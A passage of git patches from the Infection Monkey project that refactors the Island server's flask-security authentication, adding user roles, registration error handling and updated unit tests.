HadoopPlugin +from flask_security import Security from common import DIContainer from common.agent_configuration import ScanTargetConfiguration @@ -91,6 +92,7 @@ app.should_set_cookie app.session_interface app.save_session +Security._want_json # Deployment is chosen dynamically Deployment.DEVELOP From 9e9ac9cb1bc023c79df2ac85c94a84fd1a5bdc24 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Tue, 7 Mar 2023 17:14:21 +0200 Subject: [PATCH 0464/1338] UI: Remove jwt-decode as jwt is no longer used --- monkey/monkey_island/cc/ui/package-lock.json | 6 ------ monkey/monkey_island/cc/ui/package.json | 1 - 2 files changed, 7 deletions(-) diff --git a/monkey/monkey_island/cc/ui/package-lock.json b/monkey/monkey_island/cc/ui/package-lock.json index 63748e1ea19..caa43cf7b43 100644 --- a/monkey/monkey_island/cc/ui/package-lock.json +++ b/monkey/monkey_island/cc/ui/package-lock.json @@ -27,7 +27,6 @@ "downloadjs": "1.4.7", "file-saver": "2.0.5", "json-schema-merge-allof": "0.8.1", - "jwt-decode": "3.1.2", "lodash": "4.17.21", "mui-datatables": "^3.8.5", "node-polyfill-webpack-plugin": "2.0.1", @@ -8349,11 +8348,6 @@ "node": ">=4.0" } }, - "node_modules/jwt-decode": { - "version": "3.1.2", - "resolved": "https://registry.npmjs.org/jwt-decode/-/jwt-decode-3.1.2.tgz", - "integrity": "sha512-UfpWE/VZn0iP50d8cz9NrZLM9lSWhcJ+0Gt/nm4by88UL+J1SiKN8/5dkjMmbEzwL2CAe+67GsegCbIKtbp75A==" - }, "node_modules/keycharm": { "version": "0.4.0", "resolved": "https://registry.npmjs.org/keycharm/-/keycharm-0.4.0.tgz", diff --git a/monkey/monkey_island/cc/ui/package.json b/monkey/monkey_island/cc/ui/package.json index 841f41b8708..bade13b72e2 100644 --- a/monkey/monkey_island/cc/ui/package.json +++ b/monkey/monkey_island/cc/ui/package.json @@ -81,7 +81,6 @@ "downloadjs": "1.4.7", "file-saver": "2.0.5", "json-schema-merge-allof": "0.8.1", - "jwt-decode": "3.1.2", "lodash": "4.17.21", "mui-datatables": "^3.8.5", "node-polyfill-webpack-plugin": "2.0.1", From 9d39f67b06259b8b4eb206c1338da88027895878 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Tue, 7 Mar 2023 16:26:32 +0000 Subject: [PATCH 0465/1338] UI: Fix a couple of merge conflicts --- monkey/monkey_island/cc/ui/src/components/Main.tsx | 2 +- .../monkey_island/cc/ui/src/components/pages/LogoutPage.tsx | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/Main.tsx b/monkey/monkey_island/cc/ui/src/components/Main.tsx index 170987384ea..484699d4cc4 100644 --- a/monkey/monkey_island/cc/ui/src/components/Main.tsx +++ b/monkey/monkey_island/cc/ui/src/components/Main.tsx @@ -234,7 +234,7 @@ class AppComponent extends AuthComponent { }/> - }/> + }/> }/> {this.renderRoute(IslandRoutes.LandingPage, { const [logoutDone, setLogoutDone] = useState(false); @@ -16,7 +16,7 @@ const LogoutPage = (props) => { }) if (logoutDone) { - return + return } else { return } From e3dfdee137cbea98e4a1c38bec137f7d60b83682 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Wed, 1 Mar 2023 17:39:14 +0000 Subject: [PATCH 0466/1338] UI: Parse authentication errors from flask-security --- monkey/monkey_island/cc/ui/src/services/AuthService.js | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/ui/src/services/AuthService.js b/monkey/monkey_island/cc/ui/src/services/AuthService.js index 42e49f3ce90..6dd38fa8ca7 100644 --- a/monkey/monkey_island/cc/ui/src/services/AuthService.js +++ b/monkey/monkey_island/cc/ui/src/services/AuthService.js @@ -64,7 +64,8 @@ export default class AuthService { return this._login(username, password) } else { return res.json().then(res_json => { - return {result: false, error: res_json['error']}; + console.log(res_json); + return {result: false, error: res_json['response']['errors']}; }) } }) From b1416d5a9f0bc3fd83b5e90de97aa5d439963977 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Tue, 7 Mar 2023 19:00:25 +0000 Subject: [PATCH 0467/1338] Island: Fix import ordering --- monkey/monkey_island/cc/resources/auth/register.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/resources/auth/register.py b/monkey/monkey_island/cc/resources/auth/register.py index 14075e2708c..05ceec4e961 100644 --- a/monkey/monkey_island/cc/resources/auth/register.py +++ b/monkey/monkey_island/cc/resources/auth/register.py @@ -1,7 +1,7 @@ import logging from http import HTTPStatus -from flask import make_response, request, Response +from flask import Response, make_response, request from flask.typing import ResponseValue from flask_security.views import register From ed93d1f42b762e30cfc28b67ac02329aa550bdb4 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 7 Mar 2023 15:22:56 -0500 Subject: [PATCH 0468/1338] Island: Add missing newline at the end of Pipfile.lock --- monkey/monkey_island/Pipfile.lock | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/Pipfile.lock b/monkey/monkey_island/Pipfile.lock index f7033e411eb..3b94a9639f5 100644 --- a/monkey/monkey_island/Pipfile.lock +++ b/monkey/monkey_island/Pipfile.lock @@ -1796,4 +1796,4 @@ "version": "==3.15.0" } } -} \ No newline at end of file +} From b0ce4679f25da5eabb9e9c9c3e7189ee6ffb5c79 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 7 Mar 2023 13:03:27 -0500 Subject: [PATCH 0469/1338] UT: Move test_socket_address.py into types/ --- monkey/tests/unit_tests/common/{ => types}/test_socket_address.py | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename monkey/tests/unit_tests/common/{ => types}/test_socket_address.py (100%) diff --git a/monkey/tests/unit_tests/common/test_socket_address.py b/monkey/tests/unit_tests/common/types/test_socket_address.py similarity index 100% rename from monkey/tests/unit_tests/common/test_socket_address.py rename to monkey/tests/unit_tests/common/types/test_socket_address.py From e95cac79cb33b9a7c883de77083d40d2d6ba89c6 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 7 Mar 2023 13:07:46 -0500 Subject: [PATCH 0470/1338] Common: Remove dependency on address_to_ip_port() --- monkey/common/types/networking.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/common/types/networking.py b/monkey/common/types/networking.py index 306fa42b58a..42903b276c2 100644 --- a/monkey/common/types/networking.py +++ b/monkey/common/types/networking.py @@ -6,7 +6,6 @@ from pydantic import ConstrainedInt from common.base_models import InfectionMonkeyBaseModel -from common.network.network_utils import address_to_ip_port class NetworkProtocol(Enum): @@ -77,9 +76,10 @@ def from_string(cls, address_str: str) -> SocketAddress: :raises ValueError: If the string is not a valid ip:port :return: SocketAddress with the IP and port """ - ip, port = address_to_ip_port(address_str) + ip, port = address_str.split(":") if port is None: raise ValueError("SocketAddress requires a port") + return SocketAddress(ip=IPv4Address(ip), port=int(port)) def __hash__(self): From 91f38acff1724e43b361bd563960995a61622f9c Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 7 Mar 2023 12:47:46 -0500 Subject: [PATCH 0471/1338] Common: Remove disused address_to_ip_port() --- monkey/common/network/network_utils.py | 18 +----------------- .../common/network/test_network_utils.py | 15 --------------- 2 files changed, 1 insertion(+), 32 deletions(-) delete mode 100644 monkey/tests/unit_tests/common/network/test_network_utils.py diff --git a/monkey/common/network/network_utils.py b/monkey/common/network/network_utils.py index 1c7c1ae8c42..9aa6e55cd77 100644 --- a/monkey/common/network/network_utils.py +++ b/monkey/common/network/network_utils.py @@ -1,6 +1,6 @@ import ipaddress from ipaddress import IPv4Address, IPv4Interface -from typing import Iterable, List, Optional, Sequence, Tuple +from typing import Iterable, List, Sequence import ifaddr @@ -25,19 +25,3 @@ def _select_ipv4_ips(ips: Iterable[ifaddr.IP]) -> Iterable[ifaddr.IP]: def _is_ipv4(ip: ifaddr.IP) -> bool: # In ifaddr, IPv4 addresses are strings, while IPv6 addresses are tuples return type(ip.ip) is str - - -# TODO: `address_to_port()` should return the port as an integer. -def address_to_ip_port(address: str) -> Tuple[str, Optional[str]]: - """ - Split a string containing an IP address (and optionally a port) into IP and Port components. - Currently only works for IPv4 addresses. - - :param address: The address string. - :return: Tuple of IP and port strings. The port may be None if no port was in the address. - """ - if ":" in address: - ip, port = address.split(":") - return ip, port or None - else: - return address, None diff --git a/monkey/tests/unit_tests/common/network/test_network_utils.py b/monkey/tests/unit_tests/common/network/test_network_utils.py deleted file mode 100644 index 1d4aac451ba..00000000000 --- a/monkey/tests/unit_tests/common/network/test_network_utils.py +++ /dev/null @@ -1,15 +0,0 @@ -from common.network.network_utils import address_to_ip_port - - -def test_address_to_ip_port(): - ip, port = address_to_ip_port("192.168.65.1:5000") - assert ip == "192.168.65.1" - assert port == "5000" - - -def test_address_to_ip_port_no_port(): - ip, port = address_to_ip_port("192.168.65.1") - assert port is None - - ip, port = address_to_ip_port("192.168.65.1:") - assert port is None From fc928a38362d5a6b51e2ea504afa21f6840a16ba Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Tue, 7 Mar 2023 21:54:22 +0000 Subject: [PATCH 0472/1338] UI: Properly display registration errors --- .../cc/ui/src/components/pages/RegisterPage.js | 14 ++++++++++++-- .../cc/ui/src/services/AuthService.js | 3 +-- 2 files changed, 13 insertions(+), 4 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/pages/RegisterPage.js b/monkey/monkey_island/cc/ui/src/components/pages/RegisterPage.js index cb3d0c09c48..098cf67aa84 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/RegisterPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/RegisterPage.js @@ -19,7 +19,7 @@ class RegisterPageComponent extends React.Component { this.setState({ loading: false, failed: true, - error: res['error'] + errors: res['errors'] }); } }); @@ -37,6 +37,16 @@ class RegisterPageComponent extends React.Component { window.location.href = '/landing-page'; }; + getErrors = (errors) => { + const errorArray = []; + + for (let i=0; i{errors[i]}); + } + return
      {errorArray}
    ; + }; + constructor(props) { super(props); this.username = ''; @@ -82,7 +92,7 @@ class RegisterPageComponent extends React.Component { { this.state.failed ? -
    {this.state.error}
    +
    {this.getErrors(this.state.errors)}
    : '' } diff --git a/monkey/monkey_island/cc/ui/src/services/AuthService.js b/monkey/monkey_island/cc/ui/src/services/AuthService.js index 6dd38fa8ca7..da3f4950a28 100644 --- a/monkey/monkey_island/cc/ui/src/services/AuthService.js +++ b/monkey/monkey_island/cc/ui/src/services/AuthService.js @@ -64,8 +64,7 @@ export default class AuthService { return this._login(username, password) } else { return res.json().then(res_json => { - console.log(res_json); - return {result: false, error: res_json['response']['errors']}; + return {result: false, errors: res_json['response']['errors']}; }) } }) From c79e569c11fe2760f1e6f6da23be9c54ce6a3d37 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 8 Mar 2023 07:09:02 -0500 Subject: [PATCH 0473/1338] Island: Fix import sorting in register.py --- monkey/monkey_island/cc/resources/auth/register.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/resources/auth/register.py b/monkey/monkey_island/cc/resources/auth/register.py index 14075e2708c..05ceec4e961 100644 --- a/monkey/monkey_island/cc/resources/auth/register.py +++ b/monkey/monkey_island/cc/resources/auth/register.py @@ -1,7 +1,7 @@ import logging from http import HTTPStatus -from flask import make_response, request, Response +from flask import Response, make_response, request from flask.typing import ResponseValue from flask_security.views import register From b00c22f02e3ace478a99d76147756b7ecaf1f5d1 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Tue, 7 Mar 2023 16:16:44 +0100 Subject: [PATCH 0474/1338] Island: Init MongoEngine and UserDatastore before anything else in setup --- monkey/monkey_island/cc/server_setup.py | 24 ++++++++++++++++++++---- 1 file changed, 20 insertions(+), 4 deletions(-) diff --git a/monkey/monkey_island/cc/server_setup.py b/monkey/monkey_island/cc/server_setup.py index 64b40954c63..5ff9d66e8d0 100644 --- a/monkey/monkey_island/cc/server_setup.py +++ b/monkey/monkey_island/cc/server_setup.py @@ -9,10 +9,13 @@ import gevent.hub import requests +from flask_mongoengine import MongoEngine +from flask_security import MongoEngineUserDatastore, UserDatastore from gevent.pywsgi import WSGIServer from monkey_island.cc import Version from monkey_island.cc.deployment import Deployment +from monkey_island.cc.models import Role, User from monkey_island.cc.server_utils.consts import ISLAND_PORT from monkey_island.cc.server_utils.island_logger import get_log_file_path from monkey_island.cc.setup.config_setup import get_server_config @@ -65,11 +68,18 @@ def run_monkey_island(): _initialize_mongodb_connection(config_options.start_mongodb, config_options.data_dir) - container = _initialize_di_container(ip_addresses, version, config_options.data_dir) + db = MongoEngine() + user_datastore = MongoEngineUserDatastore(db, User, Role) + + container = _initialize_di_container( + ip_addresses, version, config_options.data_dir, user_datastore + ) setup_island_event_handlers(container) setup_agent_event_handlers(container) - _start_island_server(ip_addresses, island_args.setup_only, config_options, container) + _start_island_server( + ip_addresses, island_args.setup_only, config_options, container, db, user_datastore + ) def _extract_config(island_args: IslandCmdArgs) -> IslandConfigOptions: @@ -123,10 +133,14 @@ def _get_deployment() -> Deployment: def _initialize_di_container( - ip_addresses: Sequence[IPv4Address], version: Version, data_dir: Path + ip_addresses: Sequence[IPv4Address], + version: Version, + data_dir: Path, + user_datastore: UserDatastore, ) -> DIContainer: container = DIContainer() + container.register_convention(UserDatastore, "user_datastore", user_datastore) container.register_convention(Sequence[IPv4Address], "ip_addresses", ip_addresses) container.register_instance(Version, version) container.register_convention(Path, "data_dir", data_dir) @@ -173,10 +187,12 @@ def _start_island_server( should_setup_only: bool, config_options: IslandConfigOptions, container: DIContainer, + db: MongoEngine, + user_datastore: UserDatastore, ): _configure_gevent_exception_handling(config_options.data_dir) - app = init_app(mongo_setup.MONGO_URL, container, config_options.data_dir) + app = init_app(mongo_setup.MONGO_URL, container, config_options.data_dir, db, user_datastore) if should_setup_only: logger.warning("Setup only flag passed. Exiting.") From c386773c9e1b38c1da3418a59c2fd7c41f59a22d Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Tue, 7 Mar 2023 16:17:20 +0100 Subject: [PATCH 0475/1338] Island: Remove unused and unneeded Role.permissions --- monkey/monkey_island/cc/models/role.py | 1 - 1 file changed, 1 deletion(-) diff --git a/monkey/monkey_island/cc/models/role.py b/monkey/monkey_island/cc/models/role.py index 1ab7d49540d..5b605e389eb 100644 --- a/monkey/monkey_island/cc/models/role.py +++ b/monkey/monkey_island/cc/models/role.py @@ -7,4 +7,3 @@ class Role(Document, RoleMixin): name = StringField(max_length=80, unique=True) description = StringField(max_length=255) - permissions = StringField(max_length=255) From 094098a9e95e4dce99a2739997f39b2f0434bb5d Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Tue, 7 Mar 2023 16:19:06 +0100 Subject: [PATCH 0476/1338] Island: Use passed in db and UserDatastore to create roles in app --- monkey/monkey_island/cc/app.py | 28 +++++++++++++++++++--------- 1 file changed, 19 insertions(+), 9 deletions(-) diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py index b4a65ba03c4..b11d9e6994a 100644 --- a/monkey/monkey_island/cc/app.py +++ b/monkey/monkey_island/cc/app.py @@ -5,13 +5,12 @@ from flask import Flask, Response, send_from_directory from flask.sessions import SecureCookieSessionInterface from flask_mongoengine import MongoEngine -from flask_security import ConfirmRegisterForm, MongoEngineUserDatastore, Security +from flask_security import ConfirmRegisterForm, Security, UserDatastore from werkzeug.exceptions import NotFound from wtforms import StringField, ValidationError from common import DIContainer from monkey_island.cc.flask_utils import FlaskDIWrapper -from monkey_island.cc.models import Role, User from monkey_island.cc.resources import ( AgentBinaries, AgentEvents, @@ -71,7 +70,7 @@ def serve_home(): return serve_static_file(HOME_FILE) -def setup_authentication(app, data_dir): +def setup_authentication(app, data_dir, db, user_datastore): flask_security_config = generate_flask_security_configuration(data_dir) # TODO: After we switch to token base authentication investigate the purpose @@ -90,9 +89,9 @@ def setup_authentication(app, data_dir): app.config["SECURITY_TOKEN_AUTHENTICATION_KEY"] = None # The database object needs to be created after we configure the flask application - db = MongoEngine(app) + db.init_app(app) - user_datastore = MongoEngineUserDatastore(db, User, Role) + _create_roles(user_datastore) # Only one user can be registered in the Island, so we need a custom validator def validate_no_user_exists_already(_, field): @@ -121,7 +120,12 @@ class CustomConfirmRegisterForm(ConfirmRegisterForm): app.session_interface = disable_session_cookies() -def init_app_config(app, mongo_url, data_dir: Path): +def _create_roles(user_datastore: UserDatastore): + user_datastore.find_or_create_role(name="island") + user_datastore.find_or_create_role(name="agent") + + +def init_app_config(app, mongo_url, data_dir: Path, db: MongoEngine, user_datastore: UserDatastore): app.config["MONGO_URI"] = mongo_url app.config["MONGODB_SETTINGS"] = [ { @@ -137,7 +141,7 @@ def init_app_config(app, mongo_url, data_dir: Path): app.url_map.strict_slashes = False - setup_authentication(app, data_dir) + setup_authentication(app, data_dir, db, user_datastore) def disable_session_cookies() -> SecureCookieSessionInterface: @@ -207,7 +211,13 @@ def init_rpc_endpoints(api: FlaskDIWrapper): api.add_resource(TerminateAllAgents) -def init_app(mongo_url: str, container: DIContainer, data_dir: Path): +def init_app( + mongo_url: str, + container: DIContainer, + data_dir: Path, + db: MongoEngine, + user_datastore: UserDatastore, +): """ Simple docstirng for init_app @@ -219,7 +229,7 @@ def init_app(mongo_url: str, container: DIContainer, data_dir: Path): api = flask_restful.Api(app) api.representations = {"application/json": output_json} - init_app_config(app, mongo_url, data_dir) + init_app_config(app, mongo_url, data_dir, db, user_datastore) init_app_url_rules(app) flask_resource_manager = FlaskDIWrapper(api, container) From 6eafce7e71e7035020d6654c6939d8ca97471b73 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Tue, 7 Mar 2023 16:32:28 +0100 Subject: [PATCH 0477/1338] Island: Add AuthenticationService.apply_role_to_user --- .../cc/services/authentication_service.py | 11 +++ .../services/test_authentication_service.py | 71 ++++++++++++++++--- 2 files changed, 74 insertions(+), 8 deletions(-) diff --git a/monkey/monkey_island/cc/services/authentication_service.py b/monkey/monkey_island/cc/services/authentication_service.py index 3e52e283bb7..40e9b21a9b2 100644 --- a/monkey/monkey_island/cc/services/authentication_service.py +++ b/monkey/monkey_island/cc/services/authentication_service.py @@ -1,4 +1,7 @@ from pathlib import Path +from typing import Dict + +from flask_security import UserDatastore from monkey_island.cc.event_queue import IIslandEventQueue, IslandEventTopic from monkey_island.cc.models import IslandMode, User @@ -15,10 +18,12 @@ def __init__( data_dir: Path, repository_encryptor: ILockableEncryptor, island_event_queue: IIslandEventQueue, + user_datastore: UserDatastore, ): self._data_dir = data_dir self._repository_encryptor = repository_encryptor self._island_event_queue = island_event_queue + self._user_datastore = user_datastore def needs_registration(self) -> bool: """ @@ -28,6 +33,12 @@ def needs_registration(self) -> bool: """ return not User.objects.first() + def apply_role_to_user(self, username: str, role_fields: Dict[str, str]): + user = self._user_datastore.find_user(username=username) + role = self._user_datastore.find_or_create_role(name=role_fields["name"]) + + self._user_datastore.add_role_to_user(user=user, role=role) + def reset_island_data(self): """ Resets the island diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/test_authentication_service.py b/monkey/tests/unit_tests/monkey_island/cc/services/test_authentication_service.py index 979713c1fd1..ffa26230090 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/test_authentication_service.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/test_authentication_service.py @@ -1,6 +1,7 @@ from unittest.mock import MagicMock, call import pytest +from flask_security import UserDatastore from monkey_island.cc.event_queue import IIslandEventQueue, IslandEventTopic from monkey_island.cc.models import IslandMode, User @@ -27,18 +28,42 @@ def mock_island_event_queue(autouse=True): return MagicMock(spec=IIslandEventQueue) +@pytest.fixture +def mock_user_datastore(autouse=True): + mock_user_datastore = MagicMock(spec=UserDatastore) + + # TODO: Fix this with actual User and Role models + mock_user_datastore.find_user = MagicMock(return_value="some_user_object") + mock_user_datastore.find_or_create_role = MagicMock(return_value="some_role_object") + + return mock_user_datastore + + def test_needs_registration__true( - mock_flask_app, tmp_path, mock_repository_encryptor, mock_island_event_queue + mock_flask_app, + tmp_path, + mock_repository_encryptor, + mock_island_event_queue, + mock_user_datastore, ): - a_s = AuthenticationService(tmp_path, mock_repository_encryptor, mock_island_event_queue) + a_s = AuthenticationService( + tmp_path, mock_repository_encryptor, mock_island_event_queue, mock_user_datastore + ) assert a_s.needs_registration() def test_needs_registration__false( - monkeypatch, mock_flask_app, tmp_path, mock_repository_encryptor, mock_island_event_queue + monkeypatch, + mock_flask_app, + tmp_path, + mock_repository_encryptor, + mock_island_event_queue, + mock_user_datastore, ): - a_s = AuthenticationService(tmp_path, mock_repository_encryptor, mock_island_event_queue) + a_s = AuthenticationService( + tmp_path, mock_repository_encryptor, mock_island_event_queue, mock_user_datastore + ) mock_user = MagicMock(spec=User) monkeypatch.setattr("monkey_island.cc.services.authentication_service.User", mock_user) @@ -47,10 +72,34 @@ def test_needs_registration__false( assert not a_s.needs_registration() +def test_role_apply_to_user( + mock_flask_app, + tmp_path, + mock_repository_encryptor, + mock_island_event_queue, + mock_user_datastore, +): + a_s = AuthenticationService( + tmp_path, mock_repository_encryptor, mock_island_event_queue, mock_user_datastore + ) + + a_s.apply_role_to_user(USERNAME, {"name": "island", "description": "some_description"}) + + mock_user_datastore.find_user.called_with("island") + mock_user_datastore.find_or_create_role.called_with("island") + mock_user_datastore.add_role_to_user.called_with("some_user_object", "some_role_object") + + def test_reset_island__unlock_encryptor_on_register( - mock_flask_app, tmp_path, mock_repository_encryptor, mock_island_event_queue + mock_flask_app, + tmp_path, + mock_repository_encryptor, + mock_island_event_queue, + mock_user_datastore, ): - a_s = AuthenticationService(tmp_path, mock_repository_encryptor, mock_island_event_queue) + a_s = AuthenticationService( + tmp_path, mock_repository_encryptor, mock_island_event_queue, mock_user_datastore + ) a_s.reset_repository_encryptor(USERNAME, PASSWORD) @@ -60,9 +109,15 @@ def test_reset_island__unlock_encryptor_on_register( def test_reset_island__publish_to_event_topics( - mock_flask_app, tmp_path, mock_repository_encryptor, mock_island_event_queue + mock_flask_app, + tmp_path, + mock_repository_encryptor, + mock_island_event_queue, + mock_user_datastore, ): - a_s = AuthenticationService(tmp_path, mock_repository_encryptor, mock_island_event_queue) + a_s = AuthenticationService( + tmp_path, mock_repository_encryptor, mock_island_event_queue, mock_user_datastore + ) a_s.reset_island_data() From 3976a31e1a2cad99c046d04b9e4c6bdab50a12a0 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Tue, 7 Mar 2023 16:33:41 +0100 Subject: [PATCH 0478/1338] Island: Apply role to user in Registe endpoint --- monkey/monkey_island/cc/resources/auth/register.py | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/monkey/monkey_island/cc/resources/auth/register.py b/monkey/monkey_island/cc/resources/auth/register.py index 05ceec4e961..28b6ce9d967 100644 --- a/monkey/monkey_island/cc/resources/auth/register.py +++ b/monkey/monkey_island/cc/resources/auth/register.py @@ -39,6 +39,10 @@ def post(self): if not isinstance(response, Response): return response_to_invalid_request() + self._authentication_service.apply_role_to_user( + username, {"name": "island", "description": "some_description"} + ) + if response.status_code == HTTPStatus.OK: self._authentication_service.reset_island_data() self._authentication_service.reset_repository_encryptor(username, password) From b1e4989676a0bdd19339aa91535d8c84278e91b3 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Tue, 7 Mar 2023 16:40:38 +0100 Subject: [PATCH 0479/1338] Common: Add UserRoles Enum --- monkey/common/__init__.py | 1 + monkey/common/user_roles.py | 12 ++++++++++++ 2 files changed, 13 insertions(+) create mode 100644 monkey/common/user_roles.py diff --git a/monkey/common/__init__.py b/monkey/common/__init__.py index 35e3ed06a68..fe49f5b1d08 100644 --- a/monkey/common/__init__.py +++ b/monkey/common/__init__.py @@ -9,3 +9,4 @@ from .agent_signals import AgentSignals from .agent_heartbeat import AgentHeartbeat from .hard_coded_manifests import HARD_CODED_EXPLOITER_MANIFESTS +from .user_roles import UserRoles diff --git a/monkey/common/user_roles.py b/monkey/common/user_roles.py new file mode 100644 index 00000000000..ffe23381659 --- /dev/null +++ b/monkey/common/user_roles.py @@ -0,0 +1,12 @@ +from enum import Enum + + +class UserRoles(Enum): + """ + An Enum representing user roles. + This Enum represents roles that the user can have. The value + of each member is the description of the role + """ + + ISLAND = "Monkey Island, C&C Server" + AGENT = "Infection Monkey Agent" From dd5d118a50fc0fb26745d55ca659facfedb4d1a0 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Tue, 7 Mar 2023 16:55:54 +0100 Subject: [PATCH 0480/1338] Island: Use UserRoles Enum where needed --- monkey/monkey_island/cc/app.py | 6 +++--- monkey/monkey_island/cc/resources/auth/register.py | 3 ++- .../cc/services/test_authentication_service.py | 10 +++++++--- 3 files changed, 12 insertions(+), 7 deletions(-) diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py index b11d9e6994a..02eb57f4b5a 100644 --- a/monkey/monkey_island/cc/app.py +++ b/monkey/monkey_island/cc/app.py @@ -9,7 +9,7 @@ from werkzeug.exceptions import NotFound from wtforms import StringField, ValidationError -from common import DIContainer +from common import DIContainer, UserRoles from monkey_island.cc.flask_utils import FlaskDIWrapper from monkey_island.cc.resources import ( AgentBinaries, @@ -121,8 +121,8 @@ class CustomConfirmRegisterForm(ConfirmRegisterForm): def _create_roles(user_datastore: UserDatastore): - user_datastore.find_or_create_role(name="island") - user_datastore.find_or_create_role(name="agent") + user_datastore.find_or_create_role(name=UserRoles.ISLAND.name) + user_datastore.find_or_create_role(name=UserRoles.AGENT.name) def init_app_config(app, mongo_url, data_dir: Path, db: MongoEngine, user_datastore: UserDatastore): diff --git a/monkey/monkey_island/cc/resources/auth/register.py b/monkey/monkey_island/cc/resources/auth/register.py index 28b6ce9d967..121a0966e4c 100644 --- a/monkey/monkey_island/cc/resources/auth/register.py +++ b/monkey/monkey_island/cc/resources/auth/register.py @@ -5,6 +5,7 @@ from flask.typing import ResponseValue from flask_security.views import register +from common import UserRoles from monkey_island.cc.flask_utils import AbstractResource from monkey_island.cc.resources.auth.credential_utils import get_username_password_from_request from monkey_island.cc.server_utils.response_utils import response_to_invalid_request @@ -40,7 +41,7 @@ def post(self): return response_to_invalid_request() self._authentication_service.apply_role_to_user( - username, {"name": "island", "description": "some_description"} + username, {"name": UserRoles.ISLAND.name, "description": UserRoles.ISLAND.value} ) if response.status_code == HTTPStatus.OK: diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/test_authentication_service.py b/monkey/tests/unit_tests/monkey_island/cc/services/test_authentication_service.py index ffa26230090..f49b36d4589 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/test_authentication_service.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/test_authentication_service.py @@ -3,6 +3,7 @@ import pytest from flask_security import UserDatastore +from common import UserRoles from monkey_island.cc.event_queue import IIslandEventQueue, IslandEventTopic from monkey_island.cc.models import IslandMode, User from monkey_island.cc.server_utils.encryption import ILockableEncryptor @@ -83,10 +84,13 @@ def test_role_apply_to_user( tmp_path, mock_repository_encryptor, mock_island_event_queue, mock_user_datastore ) - a_s.apply_role_to_user(USERNAME, {"name": "island", "description": "some_description"}) + a_s.apply_role_to_user( + USERNAME, {"name": UserRoles.ISLAND.name, "description": UserRoles.ISLAND.value} + ) + + mock_user_datastore.find_user.called_with(USERNAME) + mock_user_datastore.find_or_create_role.called_with(UserRoles.ISLAND.name) - mock_user_datastore.find_user.called_with("island") - mock_user_datastore.find_or_create_role.called_with("island") mock_user_datastore.add_role_to_user.called_with("some_user_object", "some_role_object") From 1dcada903e242337437b8cf250ff54d51dddabc5 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Tue, 7 Mar 2023 16:56:15 +0100 Subject: [PATCH 0481/1338] Island: Add TODO in AuthenticationService --- monkey/monkey_island/cc/services/authentication_service.py | 1 + 1 file changed, 1 insertion(+) diff --git a/monkey/monkey_island/cc/services/authentication_service.py b/monkey/monkey_island/cc/services/authentication_service.py index 40e9b21a9b2..9d4dbbae4e7 100644 --- a/monkey/monkey_island/cc/services/authentication_service.py +++ b/monkey/monkey_island/cc/services/authentication_service.py @@ -35,6 +35,7 @@ def needs_registration(self) -> bool: def apply_role_to_user(self, username: str, role_fields: Dict[str, str]): user = self._user_datastore.find_user(username=username) + # TODO: Fix role_fields logic role = self._user_datastore.find_or_create_role(name=role_fields["name"]) self._user_datastore.add_role_to_user(user=user, role=role) From 4c9d88f8ebfa9ce217b6f2cbf50ed38fdbe50c00 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Tue, 7 Mar 2023 23:15:23 +0100 Subject: [PATCH 0482/1338] UT: Fix TODO in AuthenticationService tests --- .../cc/services/test_authentication_service.py | 12 +++++++----- 1 file changed, 7 insertions(+), 5 deletions(-) diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/test_authentication_service.py b/monkey/tests/unit_tests/monkey_island/cc/services/test_authentication_service.py index f49b36d4589..11e55215f37 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/test_authentication_service.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/test_authentication_service.py @@ -5,7 +5,7 @@ from common import UserRoles from monkey_island.cc.event_queue import IIslandEventQueue, IslandEventTopic -from monkey_island.cc.models import IslandMode, User +from monkey_island.cc.models import IslandMode, Role, User from monkey_island.cc.server_utils.encryption import ILockableEncryptor from monkey_island.cc.services import AuthenticationService @@ -18,6 +18,9 @@ # to access the object that a fixture returns, it needs to be specified as an argument. # See https://stackoverflow.com/a/37046403. +USER = User(username=USERNAME, password=PASSWORD) +ROLE = 